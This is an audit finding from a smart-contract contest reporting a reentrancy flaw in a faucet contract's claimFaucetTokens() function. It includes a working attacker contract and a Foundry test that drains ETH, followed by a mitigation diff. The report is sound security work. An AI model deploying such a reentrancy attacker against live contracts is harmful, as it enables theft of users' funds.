Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() allows repeated token and ETH claims before state update

[H-01] Reentrancy in claimFaucetTokens()

Impact: Allows attackers to drain faucet ETH and tokens


Description

  • Normal behavior:
    claimFaucetTokens() should allow non-owner users to claim a fixed drip of faucet tokens every cooldown period, and (for first-time claimers) receive a small ETH drip.
    It must enforce a per-user cooldown, respect daily claim limits, enforce a daily Sepolia ETH cap, reset daily counters on a day boundary, and follow the Checks-Effects-Interactions pattern to avoid reentrancy and state inconsistencies.

  • Issue (original contract):
    The original implementation had several issues:

    • It used mutable public state and mutable configuration variables that were not protected by immutables, increasing attack surface.

    • Daily counters and day resets were handled inconsistently (some resets inside ETH drip branch, some after interactions), which could produce inaccurate daily counts.

    • It set a contract-level faucetClaimer state to msg.sender (unnecessary) and exposed mutable state.

    • There was no reentrancy guard around external ETH transfers followed by token transfers.

    • The ETH drip logic incorrectly resets dailyDrips to 0 in the else block whenever currentDay < lastDripDay, even if no new day has started.
      This unnecessary reset breaks the intended daily tracking mechanism, leading to inaccurate counting of ETH drips and allowing more claims than the daily cap under certain conditions.

function claimFaucetTokens() public {
// @> faucetClaimer = msg.sender;
// ... (various checks)
// @> External call made before state fully updated
(bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
// @> State updates (lastClaimTime, dailyClaimCount, etc.) occur after external call
// --> Reentrancy window opens here
}

Risk

Likelihood

  • High: The problematic patterns execute on every call to claimFaucetTokens() by any user.

  • Medium: Owner-configurable variables combined with missing reentrancy protection and inconsistent counter resets create multiple realistic misuse or edge-case scenarios.

Impact

  • Loss or misallocation of Sepolia ETH (drips may occur incorrectly or be skipped unexpectedly).

  • Incorrect daily counters cause premature blocking of legitimate claims or allow over-drips of ETH.

  • Possible reentrancy vectors or state inconsistencies leading to fund loss or logic manipulation.

  • Confusing internal state (e.g., faucetClaimer) increases surface for mistaken assumptions during audits/integrations.


Proof of Concept – Reentrancy Vulnerability

Overview

A reentrancy vulnerability exists in the claimFaucetTokens() function of the RaiseBoxFaucet contract.
A malicious contract can exploit this by re-entering through its receive() function when ETH is sent from the faucet, allowing multiple claims of both ETH and tokens in a single transaction.
The attached Foundry unit test demonstrates the exploit is practically reproducible against the original contract implementation.

Files Involved

  • src/RaiseBoxFaucet.sol — original vulnerable contract

  • test/ReentrancyTest.t.sol — Foundry test that executes the exploit

  • MaliciousClaimer — Attacker contract defined within the test

Attacker Contract

contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
uint256 public reentryCount;
uint256 public maxReentry;
address public attackerOwner;
constructor(address _faucet, uint256 _maxReentry) {
faucet = RaiseBoxFaucet(payable(_faucet));
maxReentry = _maxReentry;
attackerOwner = msg.sender;
}
// receive triggered by faucet.call{value: ...}("")
receive() external payable {
// re-enter only up to maxReentry times
if (reentryCount < maxReentry) {
reentryCount++;
// re-enter the vulnerable function
faucet.claimFaucetTokens();
}
}
// start attack from an EOA
function attack() external {
faucet.claimFaucetTokens();
}
// helper to withdraw any ETH gained during PoC
function withdraw() external {
require(msg.sender == attackerOwner, "only owner");
payable(attackerOwner).transfer(address(this).balance);
}
}

Test Function

function test_Reentrancy_PoC() public {
emit log_named_uint("Before attack: Faucet ETH balance", address(faucet).balance);
emit log_named_uint("Before attack: Attacker ETH balance", address(attacker).balance);
// Start the attack from the attacker's address (simulate tx from attacker)
vm.startPrank(address(attacker));
attacker.attack(); // attacker calls claimFaucetTokens() -> receives ETH -> re-enters
vm.stopPrank();
emit log_named_uint("After attack: Faucet ETH balance", address(faucet).balance);
emit log_named_uint("After attack: Attacker ETH balance", address(attacker).balance);
emit log_named_uint("Attacker reentryCount", attacker.reentryCount());
// Assertions you can use as proof of vulnerability:
// 1) attacker.reentryCount() should be >= 1 (shows receive executed and reentry attempted)
// 2) faucet balance decreased by >= i_sepEthAmountToDrip * (1 + reentryCount)
assert(attacker.reentryCount() >= 1);
// Check that attacker gained ETH (proof of successful extra drip)
assert(address(attacker).balance > 0);
}

How to Reproduce Locally

From the project root, execute the PoC test with Foundry:

forge test --match-test test_Reentrancy_PoC -vvvv

Observed Test Output

Before attack: Faucet ETH balance: 1000000000000000000
Before attack: Attacker ETH balance: 1000000000000000000
After attack: Faucet ETH balance: 995000000000000000
After attack: Attacker ETH balance: 1005000000000000000
Attacker reentryCount: 1

Analysis of Result

  • The faucet lost 0.005 ETH during a single claim attempt (1.000 → 0.995 ETH).

  • The attacker gained +0.005 ETH, confirming a successful reentrant ETH drip.

  • Token Transfer and Claimed events were emitted multiple times inside the same transaction, indicating duplicate token distribution due to reentrancy.

  • reentryCount == 1 shows the attacker re-entered once from the faucet's ETH transfer flow.

Conclusion

The PoC confirms an actual fund-draining reentrancy in claimFaucetTokens().
By re-entering during the ETH transfer, an attacker can obtain additional ETH drips and duplicate token claims in a single transaction, causing measurable loss of faucet funds.


Recommended Mitigation

The patch below is minimal and focused: add ReentrancyGuard, remove faucetClaimer storage usage, and replace claimFaucetTokens() with a CEI-respecting nonReentrant implementation. Apply this diff to RaiseBoxFaucet.sol.

@@
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
-contract RaiseBoxFaucet is ERC20, Ownable {
+contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
+ address claimer = msg.sender;
+ // ---------- Checks ----------
+ if (cooldownActive(claimer)) revert ClaimCooldownOn();
+ if (invalidClaimer(claimer)) revert Unauthorized();
+ if (insufficientTokens()) revert InsufficientBalance();
+ if (dailyLimitReached()) revert DailyLimitReached();
+ // ---------- Effects ----------
+ updateDayCounters();
+ lastClaimTime[claimer] = block.timestamp;
+ unchecked { dailyClaimCount++; }
+ bool shouldDripEth = eligibleForEthDrip(claimer);
+
+ // ---------- Interactions ----------
+ if (shouldDripEth) {
+ (bool ok, ) = claimer.call{value: i_sepEthAmountToDrip}("");
+ if (!ok) revert EthTransferFailed();
+ emit SepEthDripped(claimer, i_sepEthAmountToDrip);
+ }
+ _transfer(address(this), claimer, i_faucetDrip);
+ emit Claimed(claimer, i_faucetDrip);
}

Notes on the Mitigation

  • ReentrancyGuard: nonReentrant prevents reentry into claimFaucetTokens() (defense-in-depth).

  • CEI: Updating lastClaimTime, dailyClaimCount, hasClaimedEth, and dailyDrips before performing .call{value:...} removes the reentrancy window.
    If the ETH transfer fails, the whole transaction reverts and no partial state persists.

  • Local claimer: Removing faucetClaimer storage from claimFaucetTokens() reduces unnecessary storage writes and avoids accidental reuse of a state variable as a per-call temporary.


Additional Information

For a more comprehensive view of other minor fixes and improvements, as well as detailed commit history, please refer to the repo: GitHub Link
Each fix is documented in the findings folder with corresponding .md files, allowing reviewers to track changes and understand all applied improvements.

Updates

Lead Judging Commences

inallhonesty Lead Judge 13 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.